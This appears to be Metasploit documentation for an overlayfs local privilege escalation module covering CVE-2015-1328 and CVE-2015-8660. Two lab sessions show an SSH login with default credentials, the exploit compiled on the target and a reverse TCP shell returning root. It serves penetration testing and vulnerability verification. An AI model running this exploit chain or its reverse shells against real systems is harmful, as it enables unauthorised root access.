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metasploit-framework/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md

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Creating A Testing Environment

This module has been tested against:

  1. CVE-2015-1328 1. Ubuntu 14.04
    1. 3.13.0-24 (binary version of exploit compiled on)
    2. 3.19.0-20
    3. 3.19.0-21 (not vuln, exploit failed)
    4. 3.13.0-55 (not vuln, exploit failed)
  2. CVE-2015-8660 1. Ubuntu 14.04
    1. 3.19.0-41 (binary version of exploit compiled on)

Untested against

  1. Fedora (code included to identify vuln versions)
  2. Redhat (description includes vuln kernel versions)

Verification Steps

  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: use exploit/linux/local/overlayfs_priv_esc
  4. Do: set session #
  5. Do: set verbose true
  6. Do: exploit

Options

COMPILE

If we should attempt to compile on the system. Defaults to Auto, which checks if gcc is installed

WritableDir

A folder we can write files to. Defaults to /tmp

Scenarios

CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41

Initial Access

resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate

resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
resource (/root/Text-1.txt)> set verbose true
verbose => true
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (/root/Text-1.txt)> set session 1
session => 1
resource (/root/Text-1.txt)> set target 1
target => 1
resource (/root/Text-1.txt)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (/root/Text-1.txt)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
[*] Max line length is 65537
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
[*] Compiling /tmp/svF1U2Ya.c
[*] Writing to /tmp/fHCJO1ex (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
[+] Deleted /tmp/svF1U2Ya.c
[+] Deleted /tmp/fHCJO1ex

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whoami
root
uname -a
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24

Initial Access

resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate

resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
resource (overlay.rc)> set verbose true
verbose => true
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (overlay.rc)> set target 0
target => 0
resource (overlay.rc)> set session 1
session => 1
resource (overlay.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (overlay.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
[*] Max line length is 65537
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
[*] Writing to /tmp/ofs-lib.c (439 bytes)
[*] Max line length is 65537
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
[*] Compiling /tmp/JmK51Dpa.c
[*] Writing to /tmp/R6TrMF7f (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
[!] Tried to delete /tmp/ofs-lib.c, unknown result
[+] Deleted /tmp/JmK51Dpa

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UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
sh: 0: can't access tty; job control turned off
# # # whoami
root
# uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux